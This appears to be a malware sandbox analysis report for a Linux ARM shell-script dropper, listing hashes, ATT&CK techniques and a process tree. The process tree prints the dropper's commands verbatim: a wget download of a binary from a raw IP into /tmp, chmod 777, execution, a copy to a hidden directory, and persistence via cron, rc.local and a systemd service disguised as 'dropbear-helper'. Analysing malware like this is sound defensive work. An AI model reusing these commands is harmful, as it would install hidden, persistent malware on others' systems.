b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781

Analysis

max time kernel
4s
max time network
139s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/05/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
Size 2KB
Sample260527-twb6jsct2r
SHA256 b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781
MD5 618d44ade6b3de10b5e2de051ff6b89e
SHA1 d9aae21eb9980aa694320654d5f379f7651d39a8
SHA512 40f5af5fda7469b7675fc52d6e71f1e3158d3d9d3e6ece758f62e392b49ce9691b1cd9500da8a4365dd9bffa9b403c4499c14e3050c2648f8079dc54c9b7df6f
TLSH
T16F51FDE2B835D435F98DA439EB9D63987482241F0A18BE14758F783C0B8C94C23FE679
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
672	chmod
677	chmod

Deletes itself 1 IoCs

pid	Process
675	nova.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nova.armv7l	673	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.f6Cscb	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dropbear-helper.service	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	dropbear	675	nova.armv7l

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/20/cmdline	pidof
File opened for reading	/proc/105/stat	pidof
File opened for reading	/proc/639/stat	pidof
File opened for reading	/proc/138/cmdline	pidof
File opened for reading	/proc/643/cmdline	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/26/cmdline	pidof
File opened for reading	/proc/272/stat	pidof
File opened for reading	/proc/584/cmdline	pidof
File opened for reading	/proc/585/cmdline	pidof
File opened for reading	/proc/637/cmdline	pidof
File opened for reading	/proc/640/cmdline	pidof
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/11/cmdline	pidof
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/41/stat	pidof
File opened for reading	/proc/633/cmdline	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/28/cmdline	pidof
File opened for reading	/proc/1/cmdline	pidof
File opened for reading	/proc/8/cmdline	pidof
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/29/stat	pidof
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/24/cmdline	pidof
File opened for reading	/proc/303/cmdline	pidof
File opened for reading	/proc/626/stat	pidof
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/137/stat	pidof
File opened for reading	/proc/641/cmdline	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/20/stat	pidof
File opened for reading	/proc/272/cmdline	pidof
File opened for reading	/proc/325/cmdline	pidof
File opened for reading	/proc/584/stat	pidof
File opened for reading	/proc/209/stat	pidof
File opened for reading	/proc/650/stat	pidof
File opened for reading	/proc/6/stat	pidof
File opened for reading	/proc/10/cmdline	pidof
File opened for reading	/proc/106/cmdline	pidof
File opened for reading	/proc/167/cmdline	pidof
File opened for reading	/proc/633/stat	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/94/stat	pidof
File opened for reading	/proc/105/cmdline	pidof
File opened for reading	/proc/303/stat	pidof
File opened for reading	/proc/3/stat	pidof
File opened for reading	/proc/279/cmdline	pidof
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/16/stat	pidof
File opened for reading	/proc/18/stat	pidof
File opened for reading	/proc/29/cmdline	pidof
File opened for reading	/proc/643/stat	pidof
File opened for reading	/proc/8/stat	pidof
File opened for reading	/proc/103/cmdline	pidof
File opened for reading	/proc/565/stat	pidof
File opened for reading	/proc/580/cmdline	pidof
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/137/cmdline	pidof
File opened for reading	/proc/565/cmdline	pidof

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nova.armv7l	wget

/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
1⤵
- Executes dropped EXE
- Modifies rc script
- Modifies systemd
PID:641
- /bin/uname
  uname -m
  2⤵
  PID:645
- /bin/pidof
  pidof nova.armv7l
  2⤵
  - Reads runtime system information
  PID:649
- /bin/rm
  rm -f /tmp/nova.armv7l
  2⤵
  PID:655
- /usr/bin/wget
  wget -q http://176.65.149.142/bins/nova.armv7l -O /tmp/nova.armv7l
  2⤵
  - Writes file to tmp directory
  PID:658
- /bin/chmod
  chmod 777 /tmp/nova.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/nova.armv7l
  /tmp/nova.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  PID:673
- /bin/mkdir
  mkdir -p /var/lib/.nova
  2⤵
  PID:674
- /bin/cp
  cp /tmp/nova.armv7l /var/lib/.nova/nova.armv7l
  2⤵
  PID:676
- /bin/chmod
  chmod 777 /var/lib/.nova/nova.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:679
- /bin/grep
  grep -v /var/lib/.nova
  2⤵
  PID:681
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:680
- /bin/chmod
  chmod +x /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /bin/cat
  cat
  2⤵
  PID:684
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:685
- /bin/systemctl
  systemctl enable dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:698
- /bin/systemctl
  systemctl start dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:711

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 39B
SHA256 8447303f6956d68ef63a31dc494b1bd6f0105797c76379866951ba63fccf3bdd
MD5 a8cb4ff1ade78f5a34af6324d6dad753
SHA1 935ef7716bf67ed45b8b564bd781187cc940925a
SHA512 d3207c69410ba17bf68cd9c0ac0bc6fac05bc63fef70d994ccbcfc6860c0778f49049b77495a736b0193d3db08140b4a54e24707b3d76f95a085f2c216cccb65
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 46B
SHA256 0d7dcb207fb1c2d415e1869c89bef72866eee5ad47882364dfa9bfa8dde3709f
MD5 6287a3a78f3dab6ea81148f35fc0a0da
SHA1 359152878b57164e33d01d6bd86960839f1bfbaf
SHA512 80bfe6aeb8085370aa626a48d3b20c9f0e3a58730066686f80d3bbb24f380fd927e2c23cd3a7a6e434bafbbb2278cbad5d811f08feb0f5fc6a98014e25e8b0a2
MD5 SHA1 SHA512

Submit Download

dropbear-helper.service

Path /etc/systemd/system/dropbear-helper.service
Size 184B
SHA256 55078f46cad5dd3293d69f972fb16d4ea5b62444913db362b03aa307c94ec5a4
MD5 33503e3a028ba41277e66ff9ff6d16e1
SHA1 c3f30a96382845c94d558249926a5ae304ae8201
SHA512 5da2e70b2da4b432a2ffe56c9fcdc87a4d357e3a89faab2e4b0b123edf76b88eeccfbbf1f91056d0a4f479212a37b2492a445ecab484ebe70e84c2d0e9038ed1
TLSH
T198C02223A77024A0D9AF2836DF723F00881002008F8EE2304FD01C0300E200A0431A99
MD5 SHA1 SHA512 TLSH

Submit Download

.dropbear.lock

Path /run/.dropbear.lock
Size 4B
SHA256 2bb2d5b81d58031f82a3b0a13571597639a69b47c44225c6f0f62091fbbca52b
MD5 70a1250386dce209ab8b9f19f7e999cc
SHA1 3645b10530e16189754c33c46cee5096b59d888f
SHA512 0c1769572b914c3b26a5de2ac40c3e9db829427a818b4994275b10a4290fd5ccdbe92b42147580224adf5d3eb67fb6e91e86cb649e2d341aa5be6008bb2d7e48
MD5 SHA1 SHA512

Submit Download

nova.armv7l

Path /tmp/nova.armv7l
Size 132KB
SHA256 6ba982824479a491dff3614d03b22ea5c87ce363d5c002144b23c5ef19099905
MD5 b38d0844275dfd3215bafcc747487fc7
SHA1 39bd90db415dee3e921cc74c3b1a2abc28603d81
SHA512 9015766ccf3f5d0b98b986f5ba3cb4735a5f9aa137e1721b84c38267fe9c46951dfc95888b4170659c8f8e9db24639e195c057dbcdc589131a1a4be5f23ae63d
SSDEEP 3072:t7a1DC2jybbaX5wE5y2OaGiqxORPO5+ebgsAEI2nUMQ81X:t7a1DC0wba2E5vOaGLxORPO5+essXnU6
TLSH
T147D3280AED419F11D4E635FAFA9F41493353AFB8D3FA7101D9209F6023C6A9B0B36615
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.f6Cscb

Path /var/spool/cron/crontabs/tmp.f6Cscb
Size 487B
SHA256 ed0d70a291426dd2cb42c4c64aa062cdbc75492e88ba8f76dea96a5ab85fb2dc
MD5 daf315ae898e4eb2163cc3e382ca7d76
SHA1 9288d8d80b49624e4be62f3e26fbfe95a3251d6a
SHA512 00cda93301514e48636fe7d8f3cbae775136eb6d7ac798d0b5b5fe6947f4ea60e0983518e756667b02584c34956833bf01e80e1998cfde2a62fe80124359ae9a
TLSH
T124F0BEF476A87D21B3CD691CF7695508AD83407DCEA8AB40EC4E386A016B209BA36F10
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads